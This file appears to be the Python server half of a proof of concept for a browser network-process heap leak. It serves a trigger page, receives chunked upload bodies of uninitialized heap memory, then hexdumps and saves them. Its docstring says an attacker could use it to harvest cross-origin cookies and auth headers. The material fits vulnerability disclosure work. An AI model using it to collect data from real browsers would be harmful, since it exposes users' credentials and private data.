#!/usr/bin/env python3
"""
HTTP server for the ChunkedDataPipeUploadDataStream heap-leak POC.

Serves poc.html and accepts a POST to /upload. The POST body arrives via
HTTP/1.1 chunked transfer encoding. The renderer NEVER wrote any body bytes;
every byte received is uninitialized network-process heap memory.

A real attacker would point this at their own server and harvest cross-origin
cookies, auth headers, response bodies, and pointers from network-process heap.
"""
import http.server
import socketserver
import os
import sys
import time

PORT = 18080
LEAK_LOG = "leaked_bytes.bin"
HEX_LOG  = "leaked_bytes.hex"

class Handler(http.server.BaseHTTPRequestHandler):
    # Force HTTP/1.1 so we get chunked transfer encoding.
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s\n" % (fmt % args))

    def do_GET(self):
        if self.path in ("/", "/poc.html"):
            try:
                with open(os.path.join(os.path.dirname(__file__), "poc.html"), "rb") as f:
                    body = f.read()
            except Exception as e:
                self.send_error(404, str(e))
                return
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(body)
        else:
            self.send_error(404)

    def do_POST(self):
        if self.path != "/upload":
            self.send_error(404)
            return

        sys.stderr.write("\n" + "=" * 78 + "\n")
        sys.stderr.write("[server] *** POST /upload received -- this is the leak ***\n")
        sys.stderr.write("[server] Transfer-Encoding: %s\n" %
                         self.headers.get("Transfer-Encoding", "<none>"))
        sys.stderr.write("=" * 78 + "\n")

        # We expect chunked transfer encoding. Read the FIRST chunk -- that's
        # the leaked data. After that the network process loops indefinitely
        # (each subsequent ReadInternal returns status_=16000 synchronously),
        # so we just close after one chunk.
        leaked = b""
        try:
            te = self.headers.get("Transfer-Encoding", "")
            if "chunked" in te.lower():
                # Read chunk-size line (hex), then chunk data, then trailing CRLF.
                # Only need the first chunk to prove the leak.
                line = self.rfile.readline().strip()
                chunk_size = int(line, 16)
                sys.stderr.write("[server] First chunk size: %d (0x%x) bytes\n" %
                                 (chunk_size, chunk_size))
                remaining = chunk_size
                while remaining > 0:
                    chunk = self.rfile.read(min(remaining, 65536))
                    if not chunk:
                        break
                    leaked += chunk
                    remaining -= len(chunk)
            else:
                cl = int(self.headers.get("Content-Length", "0"))
                leaked = self.rfile.read(cl)
        except Exception as e:
            sys.stderr.write("[server] Read exception (OK -- closing): %r\n" % e)

        # Analyze.
        nz = sum(1 for b in leaked if b != 0)
        sys.stderr.write("\n[server] === LEAK ANALYSIS ===\n")
        sys.stderr.write("[server] Received %d bytes\n" % len(leaked))
        sys.stderr.write("[server] Nonzero bytes: %d / %d (%.1f%%)\n" %
                         (nz, len(leaked), 100.0 * nz / max(1, len(leaked))))
        sys.stderr.write("[server] *** The renderer NEVER wrote ANY bytes to the upload pipe. ***\n")
        sys.stderr.write("[server] *** Every byte above is uninitialized network-process heap. ***\n")

        # Hexdump first 256 bytes.
        sys.stderr.write("\n[server] First 256 bytes (hexdump):\n")
        for off in range(0, min(256, len(leaked)), 16):
            row = leaked[off:off+16]
            hexpart = " ".join("%02x" % b for b in row)
            asciipart = "".join(chr(b) if 32 <= b < 127 else "." for b in row)
            sys.stderr.write("[server]   %04x  %-47s  |%s|\n" % (off, hexpart, asciipart))

        # Save raw + hex.
        with open(LEAK_LOG, "wb") as f:
            f.write(leaked)
        with open(HEX_LOG, "w") as f:
            for off in range(0, len(leaked), 16):
                row = leaked[off:off+16]
                hexpart = " ".join("%02x" % b for b in row)
                asciipart = "".join(chr(b) if 32 <= b < 127 else "." for b in row)
                f.write("%04x  %-47s  |%s|\n" % (off, hexpart, asciipart))

        sys.stderr.write("\n[server] Raw leak saved to: %s\n" % LEAK_LOG)
        sys.stderr.write("[server] Hex dump saved to:   %s\n" % HEX_LOG)
        if nz > 0:
            sys.stderr.write("\n[server] >>> LEAK CONFIRMED: %d nonzero bytes of "
                             "network-process heap exfiltrated <<<\n\n" % nz)
        else:
            sys.stderr.write("\n[server] All-zero buffer (allocator returned "
                             "fresh page). The bug still triggered: %d bytes "
                             "were sent that the renderer never wrote. Retry "
                             "to sample a different heap region.\n\n" % len(leaked))
        sys.stderr.flush()

        # Respond and close. The network process will keep trying to send
        # chunks; closing the connection stops it.
        try:
            self.send_response(200)
            self.send_header("Content-Length", "2")
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(b"OK")
        except Exception:
            pass

class ReuseAddrTCPServer(socketserver.TCPServer):
    allow_reuse_address = True

if __name__ == "__main__":
    os.chdir(os.path.dirname(os.path.abspath(__file__)) or ".")
    with ReuseAddrTCPServer(("127.0.0.1", PORT), Handler) as httpd:
        sys.stderr.write("[server] Listening on http://127.0.0.1:%d/\n" % PORT)
        sys.stderr.write("[server] Serve poc.html at /poc.html\n")
        sys.stderr.write("[server] Leak sink at POST /upload\n")
        sys.stderr.flush()
        httpd.serve_forever()